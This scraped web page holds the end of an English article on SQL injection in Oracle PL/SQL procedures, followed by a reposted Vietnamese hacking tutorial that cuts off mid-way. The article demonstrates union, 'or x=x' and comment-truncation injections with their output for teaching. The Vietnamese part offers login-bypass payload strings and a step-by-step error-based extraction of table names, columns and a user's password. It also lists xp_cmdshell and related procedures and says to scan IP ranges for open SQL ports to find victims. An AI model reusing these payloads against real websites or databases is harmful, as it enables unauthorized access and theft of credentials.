Bill                           Jones
999555888                      999555889                                  2

Jim                            Clark
999777888                      999777889                                  1</pre>
<p class="text">The sample procedure used is created with the following code. For these tests I have used the default user <em>DBSNMP</em>, who has many privileges that are not necessary for a general user. This user illustrates the problem of Web-based users being limited to <em>least privilege</em>:</p>
<pre>create or replace procedure get_cust (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                        'from customers '||
                                        'where customer_surname='''||
                                        lv_surname||'''';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
end get_cust;
/</pre>
<p class="text">It is not possible to simply add another statement onto an existing statement built by the procedure for execution as it is with some other databases, such as MS databases. The following illustrates this with our sample procedure:</p>
<pre>SQL&gt; exec get_cust('x'' select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended</pre>
<p class="text">The procedure expects a surname of a customer and should build a statement of the form:</p>
<pre>select customer_phone from customers where customer_surname='Jones'</pre>
<p class="text">As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL statement by using quotes and adding in the extra SQL. The preceding example shows that an Oracle error is returned if we try and send two statements at once to the RDBMS. Statements in Oracle tools and languages are delimited by semicolons (;) so we can try that next:</p>
<pre>SQL&gt; exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character</pre>
<p class="text">Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the first statement will not allow a second statement to be executed, so the only way to get Oracle to execute extra SQL is to either extend the existing <code>where</code> clause or to use a <code>union</code> or a <code>subselect</code>. The next example shows how to get extra data from another table. In this case, we will read a list of users in the database from the dictionary view ALL_USERS.</p>
<pre>SQL&gt; exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR</pre>
<p class="text">The example works! We can also use subqueries to extend an existing select statement. These are less useful, as they cannot alter the existing select list used to add new columns from other tables; however, they can be used to alter which records are returned by the existing query. An example is shown to return all of the records in the table:</p>
<pre>SQL&gt; exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888</pre>
<p class="text">The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the procedure. The above example returns all of the records in our sample table. This is a simple example and the technique can be used more creatively than in this instance.</p>
<p class="text">The next example discusses truncating the rest of a <code>where</code> clause so that all of the records in the table are returned. The classic use of this is the case where the Web application writers have implemented authentication and the method of logging in is to find a valid record in the users table where the username and password match. Such an example could be:</p>
<pre>select * from appusers where username=’someuser’ and password=’somecleverpassword’</pre>
<p class="text">To truncate this behaviour we can make the SQL return all of the records in the table; this usually allows a login to occur. Usually this will return the administrator record first!! Here is an example of truncation with our sample table of customers. All of the records can be returned by using an “OR ‘x’=’x’” in the <code>where</code> clause as follows:</p>
<pre>SQL&gt; exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888</pre>
<p class="text">Next, the procedure has been modified to extend the SQL used so that there is a second part of the <code>where</code> clause to truncate. Here is the modified procedure first:</p>
<pre>create or replace procedure get_cust2 (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                'from customers '||
                                'where customer_surname='''||
                                lv_surname||''' and customer_type=1';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
exception
        when others then
                dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;</pre>
<p class="text">This is to demonstrate the use of the “- -“ comment characters to truncate the end of a <code>where</code> clause. This technique is useful where an application screen has more than one entry field that is added to the dynamic SQL and passed to the database. To simplify adding extra SQL to get around all of the fields we can add a “- -“ in what we think is the first field on the screen and first add the SQL we need. The following demonstrates this:</p>
<pre>SQL&gt; exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888</pre>
<p class="text">Running this, we can see that all three records are returned due to the “or” statement. If the comment wasn’t there, we would still include the line “and customer_type=1”. Another example on the same theme allows us to use the <code>union</code> and the <code>select</code> on the table all_users as above and then comment out the rest of the <code>where clause</code>.</p>
<p class="text">All of the above examples show select statements being injected with extra SQL. The same principles also apply to <code>insert</code> statements, <code>update</code> statements and <code>delete</code> statements. Other statements available in Oracle include <code>DDL</code> (Data Definition Language) statements, which are statements to alter the schema or database instance. Examples include creating tables or indexes or altering the language set used. Statements cannot generally be mixed because, as was illustrated above, we cannot just send two statements to the RDBMS at the same time, so if a <code>select</code> statement is the only one available we cannot just add a <code>delete</code> or <code>insert</code> to it. Often applications include a way to send any SQL to the server. This is bad programming practice, as it allows statements such as DDL to be executed. It can be argued that this case is not SQL injection because any SQL can be executed, therefore you do not need to alter an existing piece!</p>
<p><!-- OAS --></p>
<p class="text">The final piece of the puzzle to talk about is packages, procedures and functions. It is possible to call PL/SQL functions from SQL statements. The rules vary slightly with each version of Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures provided with the standard packages. These generally start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions can be obtained by querying the database as follows:</p>
<pre>SQL&gt; col owner for a15
SQL&gt; col object_type for a30
SQL&gt; col object_name for a30
SQL&gt; select owner,object_type,object_name
  2  from dba_objects
  3  where object_type in('PACKAGE','FUNCTION','PROCEDURE');

OWNER           OBJECT_TYPE                    OBJECT_NAME
--------------- ------------------------------ ------------------------------
SYS             FUNCTION                       CLIENT_IP_ADDRESS
SYS             FUNCTION                       DATABASE_NAME
SYS             FUNCTION                       DBJ_LONG_NAME
SYS             FUNCTION                       DBJ_SHORT_NAME
SYS             PACKAGE                        DBMSOBJG
…
CTXSYS          PACKAGE                        DR_DEF
CTXSYS          PROCEDURE                      SYNCRN

391 rows selected.</pre>
<p class="text">Here is an example that calls a built in function supplied with Oracle. The function (SYS.LOGIN_USER) in this case is quite simple and just returns the logged-in user, but it illustrates the principle.</p>
<pre>SQL&gt; exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP</pre>
<p class="text">The functions or procedures that can be called from SQL are quite limited: the function must not alter the database state or package state if called remotely, and the function cannot alter package variables if it is called in a <code>where</code> clause or <code>group by clause</code>. In versions earlier than Oracle 8, very few built-in functions or procedures can be called from a PL/SQL function that is called in SQL statements. The restrictions have been lifted somewhat from Oracle 8, but users should not expect to be able to call file or output type packages such as UTL_FILE or DBMS_OUTPUT or DBMS_LOB directly from SQL statements, as they must be executed in a PL/SQL block or called by the execute command from SQL*Plus. It is possible to use many of these procedures if they are part of a function that is written to be called from SQL.</p>
<p class="text">To SQL inject and use PL/SQL packages, procedure or functions really requires a case of dynamic PL/SQL. If a form or application builds and executes dynamic PL/SQL in the same manner as described above, the same techniques can be used to insert calls to standard PL/SQL packages on any PL/SQL packages or functions that exist in the schema.</p>
<p class="text">If any database links exist from the database being attacked to any other database in the organisation, those links can also be utilized in SQL injection attempts. This allows an attack through the firewall to a database that is potentially not even accessible from the Internet! Here is a simple example using our PL/SQL procedure to read the system date from another database on my network.</p>
<pre>SQL&gt; exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02</pre>
<p class="text"><strong> Conclusion </strong></p>
<p class="text">This concludes the first instalment in our two-part series on SQL injection and Oracle database software. This article has offered a brief overview of SQL injection, as well as some examples of how this technique may be employed against Oracle software. The next part will cover detecting SQL injection and protecting against SQL injection.</p>
<p><a href="mailto:pete@petefinnigan.com">Pete Finnigan</a> is a freelance consultant specialising in Oracle and security of Oracle. Pete is currently working in the UK financial sector and has recently completed the new <a href="http://store.sans.org/" target="nonlocal">Oracle security step-by-step guide</a> for the <a href="http://www.sans.org/" target="nonlocal">SANS institute</a>. Pete has many years of development and administration experience in many languages. Pete is regarded as one of the worlds leading experts on Oracle security.</p>
<p class="bio">Watch for the forthcoming book <a href="http://store.sans.org/" target="nonlocal">The SANS Institute Oracle Security Step-by-step – A survival guide for Oracle security</a> written by Pete Finnigan with consensus achieved by experts from over 53 organizations with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the SANS Institute.</p>
</td>
</tr>
<tr>
<td class="rightcolumn" valign="top"><img src="http://www.securityfocus.com/images/pixel.gif" alt="" width="110" height="1" /></p>
<div class="rightcolumn"><span class="bodytext"><strong>Relevant Links</strong></p>
<p></span> <a class="bulletlink" href="http://www.petefinnigan.com/" target="_blank">All of the code from this paper is available from the author&#8217;s Web site from the scripts menu &#8211; SQL and PL/SQL option.&lt;!&#8211;</a><br />
<span class="bodytext"><em>www.petefinnigan.com</em></span></p>
<p><a class="bulletlink" href="http://www.appsecinc.com/presentations/Protecting_Oracle_Databases_White_Paper.pdf" target="_blank">Protecting Oracle Databases Whitepaper</a><br />
<span class="bodytext"><em>Aaron Newman, Application Security Inc</em></span></p>
<p><a class="bulletlink" href="http://www.nextgenss.com/papers/hpoas.pdf" target="_blank">Hackproofing Oracle Application Servers</a><br />
<span class="bodytext"><em>David Litchfield, NGSSoftware Insight Security Research</em></span></p>
<p><a class="bulletlink" href="http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;iface=6%20%3EHow%20I%20hacked%20PacketStorm:%20A%20look%20at%20hacking%20wwwthreads%20via%20SQL%3C/A%3E%3CBR%3E%20%3CSPAN%20CLASS=" target="_blank"><em>Rain Forest Puppy</em></a></p>
<p><a class="bulletlink" href="http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;iface=6" target="_blank">RFPlutonium to fuel your PHP-Nuke</a><br />
<span class="bodytext"><em>Rain Forest Puppy</em></span></p>
<p><a class="bulletlink" href="http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;iface=2" target="_blank">NT Web Technologies Vulnerabilities</a><br />
<span class="bodytext"><em>Rain Forest Puppy</em></span></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;More&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<table class="forumline" border="0" cellspacing="1" cellpadding="3" width="100%">
<tbody>
<tr>
<td class="row1" valign="top"><span class="postbody">Bài này sưu tầm từ <a href="http://k49c.net/forum/" target="_blank"><span class="link">http://k49c.net/forum/</span></a></p>
<p>Hầu hết các chương trình  ứng dụng web mới đều dựa trên cấu trúc dữ liệu động để để đạt được tính hấp dẫn  của các chương trình desktop cổ điển. Cơ chế động này đạt được bằng cách thu  thập dữ liệu từ 1 database. Một trong những nền database phổ biến hơn cả trong  các ứng dụng e-shop là SQL. Rất nhiều các ứng dụng web chỉ dựa hoàn toàn vào  những scripts ở đầu vào ( phía người dùng &#8211; client ), những đoạn scripts này chỉ  đơn giản là truy vấn 1 SQL database nằm ở ngay trên webserver hay nằm trên 1 hệ  thống đầu cuối ( phía server ) riêng biệt. Một trong những cách tấn công khó bị  nhận thấy và nguy hiểm nhất lên 1 ứng dụng web bao gồm việc chiếm đoạt những  chuỗi truy vấn được dùng bởi các scripts, để đoạt quyền điểu khiển ứng dụng đó  hoặc các dữ liệu của nó. Một trong những cơ chế hiệu quả nhất để đạt được điều  đó là một kỹ thuật gọi là SQL injection ( kỹ thuật chèn những câu lệnh SQL )</p>
<p>Cơ sở dữ liệu là trái tim của một website thương mại. Một cuộc tấn công  vào server lưu giữ CSDL có thể gây ra thất thoát lớn về tài chính cho công ty.  Thông thường CSDL bị hack để lấy các thông tin về thẻ tín dụng. Chỉ cần một cuộc  tấn công sẽ làm giảm uy tín và lượng khách hàng bởi vì họ muốn thông tin về CC  của mình được an toàn. Hầu hết các website thương mại dùng Microsoft SQL (MSSql)  và Oracle. MSSQL vẫn đang chiếm ưu thế trên thị trường vì giá thành rẻ. Trong  khi Oracle server được bán mắc hơn. Oracle đã từng tuyên bố là &#8220;không thể xâm  nhập được&#8221;, nhưng những hacker coi đó như là 1 lời thách thức và đã tìm ra rất  nhiều lỗi trong Oracle server..</p>
<p>Bài viết được chia làm 2 phần<br />
1.  Dùng HTTP cổng 80<br />
2. Dùng MS SQL cổng 1434</p>
<p>Phần 1 &#8211; Dùng cổng 80  HTTP<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Kiến thức trong phần này hữu ích không chỉ đối với các hacker mà còn với  những người thiết kế web. Chỉ cần một lỗi thông thường tạo ra bởi người thiết kế  web có thể làm lộ thông tin về CSDL của server cho hacker. Toàn bộ mục đích của  trò chơi là các chuỗi truy vấn. Người đọc coi như có kiến thức về các truy vấn  và ngôn ngữ asp ( active server pages ). Thêm nữa là cách tấn công này thường  chỉ cần dùng bằng 1 trình duyệt internet. Vì vậy bạn không cần bất cứ một tool  nào ngoại trừ IE hay Netscape.</p>
<p>Thông thường, để làm 1 trang đăng nhập,  người thiết kế web sẽ viết 1 đoạn mã như sau:</p>
<p>login.htm</p>
<p>&lt;html&gt;<br />
&lt;body&gt;<br />
&lt;form method=get  action=&#8221;logincheck.asp&#8221;&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;login_name&#8221;&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;pass&#8221;&gt;<br />
&lt;input type=&#8221;submit&#8221;  value=&#8221;sign in&#8221;&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p>
<p>File logincheck.asp nằm trên server dùng để kiểm tra thông tin do user  nhập vào có nội dung:</p>
<p>logincheck.asp</p>
<p>&lt;@language=&#8221;vbscript&#8221;&gt;<br />
&lt;%<br />
dim conn,rs,log,pwd<br />
log=Request.form(&#8220;login_name&#8221;)<br />
pwd=Request.form(&#8220;pass&#8221;)</p>
<p>set conn  = Server.CreateObject(&#8220;ADODB.Connection&#8221;)<br />
conn.ConnectionString=&#8221;provider=microsoft.jet.OLED B.4.0;data  source=c:\folder\multiplex.mdb&#8221;<br />
conn.Open<br />
set rs =  Server.CreateObject(&#8220;ADODB.Recordset&#8221;)<br />
rs.open &#8220;Select * from table1 where  login=&#8217;&#8221;&amp;log&amp; &#8220;&#8216; and password=&#8217;&#8221; &amp;pwd&amp; &#8220;&#8216; &#8220;,conn<br />
If rs.EOF<br />
response.write(&#8220;Login failed&#8221;)<br />
else<br />
response.write(&#8220;Login  successful&#8221;)<br />
End if<br />
%&gt;</p>
<p>Thoạt tiên đoạn code trên có vẻ ổn. 1  người dùng type username và pass trong trang login.htm và click &#8216;Submit&#8217;. Giá  trị được type vào sẽ được browser chuyển về cho logincheck.asp kiểm tra bằng  cách dùng câu truy vấn &#8220;Select * from table1 where login=&#8217;&#8221;&amp;log&amp; &#8220;&#8216; and  password=&#8217;&#8221; &amp;pwd&amp; &#8220;&#8216; &#8220;.<br />
Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK.  Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng  nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn:</p>
<p>&#8220;Select * from table1 where login=&#8217;&#8221;&amp;log&amp; &#8220;&#8216; and password=&#8217;&#8221;  &amp;pwd&amp; &#8220;&#8216; &#8220;</p>
<p>Nếu 1 user type tên đăng nhập là &#8220;hack&#8221; và mật khẩu  là &#8220;passne&#8221; thì những giá trị này sẽ được chuyển cho trang asp với method &#8220;POST&#8221;  và câu truy vấn trên trở thành:</p>
<p>&#8220;Select * from table1 where login=&#8217;  hack&#8217; and password=&#8217; passne &#8216; &#8220;</p>
<p>Tốt. Nếu như có 1 dòng chứ login name  &#8220;hack&#8221; và password &#8220;passne&#8221; trong CSDL thì chúng ta sẽ nhận được thông báo đăng  nhập thành công. Nhưng nếu như type loginname là &#8220;hack&#8221; và password là hi&#8217; or  &#8216;a&#8217;='a&#8217; trong phần password ? Câu truy vấn sẽ trở thành:</p>
<p>&#8220;Select * from  table1 where login=&#8217; hack&#8217; and password=&#8217; hi&#8217; or &#8216;a&#8217;='a &#8216; &#8220;</p>
<p>Click  &#8216;Submit&#8217; và Bingo, đăng nhập thành công. Chuỗi truy cập được thoả mãn khi điều  kiện là password bằng &#8216;hi&#8217; HOẶC &#8216;a&#8217;='a&#8217;. Điều này luôn đúng và hacker sẽ đăng  nhập với nick &#8216;hack&#8217;. Có thể thử các chuỗi sau đây trong ô password nếu cách  trên không làm được với một số website:</p>
<p>hi&#8221; or &#8220;a&#8221;=&#8221;a<br />
hi&#8221; or 1=1 &#8211;<br />
hi&#8217; or 1=1 &#8211;<br />
hi&#8217; or &#8216;a&#8217;='a<br />
hi&#8217;) or (&#8216;a&#8217;='a<br />
hi&#8221;) or (&#8220;a&#8221;=&#8221;a</p>
<p>Dấu &#8212; được thêm vào làm cho phần còn lại của chuỗi truy vấn trở thành  &#8216;chú thích&#8217; nên các điều kiện khác sẽ không bị kiểm tra. Tương tự có thể dùng:<br />
hack&#8217; &#8211;<br />
hack&#8221; &#8211;</p>
<p>hoặc những username khác và chọn lựa password  bất kỳ để có thể đăng nhập được. Bởi vì trong câu truy vấn chỉ có phần username  được kiểm tra là &#8216;hack&#8217; và phần còn lại bị bỏ đi do có dấu &#8212; . Nếu may mắn gặp  được vào những website mà người thiết kế web đã mắc những lỗi trên, và bạn có  thể login với bất kỳ username nào.</p>
<p>Cách tấn công cao cấp hơn: dùng các  thông báo lỗi của ODBC<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Theo  trên ta có thể thấy cách login mà không cần phải biết bất cứ 1 password nào.  Dưới đây là cách để đọc toàn bộ CSDL chỉ bằng cách dùng các truy vấn trong URL.  Cách này chỉ thực hiện được đối với IIS servers, nghĩa là với các trang asp. Và  IIS được sử dụng trong gần 35% các ứng dụng thương mại web. Vì vậy chắc chắn bạn  sẽ tìm ra 1 nạn nhân sau khi chỉ search một vài website. Thí dụ như:</p>
<p><a href="http://www.nosecurity.com/mypage.asp?id=45" target="_blank"><span class="link">http://www.nosecurity.com/mypage.asp?id=45</span></a></p>
<p>trong  URL, dấu &#8216;?&#8217; cho thấy đằng sau nó, giá trị 45 sẽ được chuyển cho 1 thông số ẩn.  Chúng ta hãy xem lại ví dụ trên, trang login.htm có 2 form input dạng text tên  là &#8216;login_name&#8217; và &#8216;pass&#8217;, và các giá trị của 2 form này sẽ được chuyển cho  logincheck.asp</p>
<p>Việc đăng nhập thành công cũng có thể thực hiện bằng cách  mở trực tiếp trang logincheck.asp bằng cách dùng  link:http://www.nosecurity.com/loginchec&#8230;ack&amp;pass=passne nếu method là GET  thay vì POST ( save html lại và sửa POST bằng GET )</p>
<p>Lưu ý: sự khác nhau  giữa GET và POST là POST sẽ không hiện ra các giá trị được chuyển sang trang sau  trên URL trong khi GET làm hiện lên các giá trị này. Để biết thêm về GET và POST  nên đọc thêm RFC 1945 và 2616 trong giao thức HTTP</p>
<p>Sau dấu &#8216;?&#8217; thì các  biến được dùng trong trang logincheck.asp sẽ được gán bằng giá trị hacker type  vào. Trong URL trên thì login_name sẽ được gán với giá trị hack. Các giá trị  khác nhau được ngăn cách bởi dấu &#8216;&amp;&#8217;<br />
Quay trở lại trang index.htm, biến  id có thuộc tính ẩn và tuỳ theo những link người dùng click, giá trị của id sẽ  thay đổi. Giá trị này sẽ được chuyển vào trong câu truy vấn mypage.asp và user  sẽ được trả về trang mình muốn. Ứng với giá trị của &#8216;id&#8217; là 46 sẽ có một trang  khác.</p>
<p>Chúng ta bắt đầu hack: type thêm vào trên URL câu truy vấn sau:<br />
<a href="http://www.nosecurity.com/mypage.asp?id=45" target="_blank"><span class="link">http://www.nosecurity.com/mypage.asp?id=45</span></a> UNION SELECT  TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES&#8211;</p>
<p>information_schema.tables là một table hệ thống chứa thông tin về tất cả  table của server. Trong đó có một field table_name chứa tất cả tên của các  table. Chuỗi query SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES trả về  giá trị là tên của table đầu tiên với kiểu string (nvarchar) trong  INFORMATION_SCHEMA.TABLES, và chúng ta lại gộp nó 45 là một giá trị số. Vì vậy  server sẽ thông báo lỗi:<br />
Microsoft OLE DB Provider for ODBC Drivers error  &#8216;80040e07&#8242; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error  converting the nvarchar value &#8216;logintable&#8217; to a column of data type int.  /mypage.asp, line</p>
<p>Trong thông báo lỗi trên ta nhận được một table là  &#8216;logintable&#8217;. Table này có thể chứa tên truy cập và password của các user. Tiếp  tục type câu lệnh sau lên URL:</p>
<p><a href="http://www.nosecurity.com/mypage.asp?id=45" target="_blank"><span class="link">http://www.nosecurity.com/mypage.asp?id=45</span></a> UNION SELECT  TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE  TABLE_NAME=&#8217;logintable&#8217;&#8211;</p>
<p>Tương tự table_name, column_name cũng là 1  field trong table hệ thống INFORMATION_SCHEMA.COLUMNS chứa tất cả tên các  column. Và ta đang gộp tên của column đầu tiên trong table &#8216;logintable&#8217; với giá  trị 45, nên sẽ có thông báo lỗi:</p>
<p>Microsoft OLE DB Provider for ODBC  Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL  Server]Syntax error converting the nvarchar value &#8216;login_id&#8217; to a column of data  type int. /index.asp, line 5</p>
<p>Thông báo lỗi cho thấy column đầu tiên  trong &#8216;logintable&#8217; là &#8216;login_id&#8217;, để lấy tên của column thứ 2:</p>
<p><a href="http://www.nosecurity.com/mypage.asp?id=45" target="_blank"><span class="link">http://www.nosecurity.com/mypage.asp?id=45</span></a> UNION SELECT  TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#8217;logintable&#8217;  WHERE COLUMN_NAME NOT IN (&#8216;login_id&#8217;)&#8211;</p>
<p>Output:<br />
Microsoft OLE DB  Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server  Driver][SQL Server]Syntax error converting the nvarchar value &#8216;login_name&#8217; to a  column of data type int. /index.asp, line 5</p>
<p>Chúng ta có thêm 1 column  nữa là &#8216;login_name&#8217;, tiếp tục lấy column thứ 3</p>
<p><a href="http://www.nosecurity.com/mypage.asp?id=45" target="_blank"><span class="link">http://www.nosecurity.com/mypage.asp?id=45</span></a> UNION SELECT  TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#8217;logintable&#8217;  WHERE COLUMN_NAME NOT IN (&#8216;login_id&#8217;,'login_name&#8217;)&#8211;</p>
<p>Output:<br />
Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the  nvarchar value &#8216;passwd&#8217; to a column of data type int. /index.asp, line 5</p>
<p>Đây là thông tin ta cần có: password login. Bước kế tiếp là lấy thông  tin login và password từ table &#8216;logintable&#8217;, type;</p>
<p><a href="http://www.nosecurity.com/mypage.asp?id=45" target="_blank"><span class="link">http://www.nosecurity.com/mypage.asp?id=45</span></a> UNION SELECT  TOP 1 login_name FROM logintable&#8211;</p>
<p>Output:<br />
Microsoft OLE DB Provider  for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL  Server]Syntax error converting the nvarchar value &#8216;Rahul&#8217; to a column of data  type int. /index.asp, line 5</p>
<p>Đây rồi: 1 trong những login name là  &#8216;Rahul&#8217;, câu lệnh lấy password của user Rahul sẽ là:<br />
<a href="http://www.nosecurity.com/mypage.asp?id=45" target="_blank"><span class="link">http://www.nosecurity.com/mypage.asp?id=45</span></a> UNION SELECT  TOP 1 password FROM logintable where login_name=&#8217;Rahul&#8217;&#8211;</p>
<p>Output:<br />
Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the  nvarchar value &#8216;P455w0rd&#8217; to a column of data type int. /index.asp, line 5<br />
OK, tên truy cập : Rahul và mật khẩu là p455w0rd. Ta đã crack được CSDL của  www.nosecurity.com. Và điều này nhờ vào server đã không lọc dữ liệu truy vấn của  người dùng. Lỗi SQL này vẫn còn gặp ở nhiều website, và phương pháp phòng chống  tốt nhất là phân tích những request của user và lọc đi các ký tự như &#8216;, &#8220;, &#8211;, :  &#8230;.</p>
<p>Phần 2: dùng cổng 1434 ( cổng giao tiếp SQL )<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Chúng ta đã  thấy cách làm thế nào để xâm nhập vào CSDL bằng cách dùng các malformed URL và  chỉ bằng cổng 80 ( cổng http ). Sau đây ta sẽ hack database dùng port 1434.  Trước khi hack chúng ta nên biết thật sự các database server là gì và hoạt động  như thế nào, cùng với cách khai thác chúng.</p>
<p>Những người thiết kết MS SQL  tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp  cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các  lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được  truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số  trong đó gồm:<br />
sp_passsword -&gt; đổi password cho 1 tên truy cập (login  name) nào đó<br />
VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’</p>
<p>sp_tables -&gt; hiển thị tất cả table trong database hiện tại<br />
VD:  EXEC sp_tables</p>
<p>xp_cmdshell -&gt; cho phép chạy câu lệnh bất kỳ lền  server với quyền admin của database ( cái này quan trọng nhất, vì thông thường  database được cài mặc định với quyền root )</p>
<p>xp_msver -&gt; hiển thị  version của SQL server và tất cả thông tin về HĐH được sử dụng.</p>
<p>xp_regdeletekey -&gt; xoá một key trong registry của windows<br />
xp_regdeletevalue -&gt; xoá một giá trị trong registry<br />
xp_regread -&gt;  in 1 giá trị trong registry lên màn hình<br />
xp_regwrite -&gt; gán 1 giá trị mới  cho 1 key<br />
xp_terminate_process -&gt; ngừng một process nào đó</p>
<p>Đây là  một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn  database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng  cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở  folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn  chuột phải và chọn delete</p>
<p>Lưu ý:&#8221;Master&#8221; là một database quan trọng của  SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn.  Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài  &#8220;Master&#8221; db ra còn có &#8220;Syslogins&#8221; là table hệ thống mặc định chứ tất cả username  và password để login vào db ( user của db khác user của ứng dụng web ). Điều  nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là &#8220;sa&#8221; với password  &#8220;&#8221; ( không có pass )</p>
<p>Tiếp theo là cách hack db. Đầu tiên ta cần tìm ra  một server bị lỗi. Download 1 chương trình scan port và scan 1 dãy ip để tìm ip  có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server.  Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có  ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng  telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là  osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào:<br />
Cosql.exe -?<br />
osql: unknown option ?<br />
usage: osql [-U login id] [-P  password]<br />
[-S server] [-H hostname] [-E trusted connection]<br />
[-d use  database name] [-l login timeout] [-t query timeout]<br />
[-h headers] [-s  colseparator] [-w columnwidth]<br />
[-a packetsize] [-e echo input] [-I Enable  Quoted Identifiers]<br />
[-L list servers] [-c cmdend]<br />
[-q "cmdline query"]  [-Q "cmdline query" and exit]<br />
[-n remove numbering] [-m errorlevel]<br />
[-r  msgs to stderr] [-V severitylevel]<br />
[-i inputfile] [-o outputfile]<br />
[-p  print statistics] [-b On error batch abort]<br />
[-O use Old ISQL behavior  disables the following]<br />
&lt;EOF&gt; batch processing<br />
Auto console width  scaling<br />
Wide messages<br />
default errorlevel is -1 vs 1<br />
[-? show syntax  summary]</p>
<p>Đây là help file cho osql. Tiếp tục:<br />
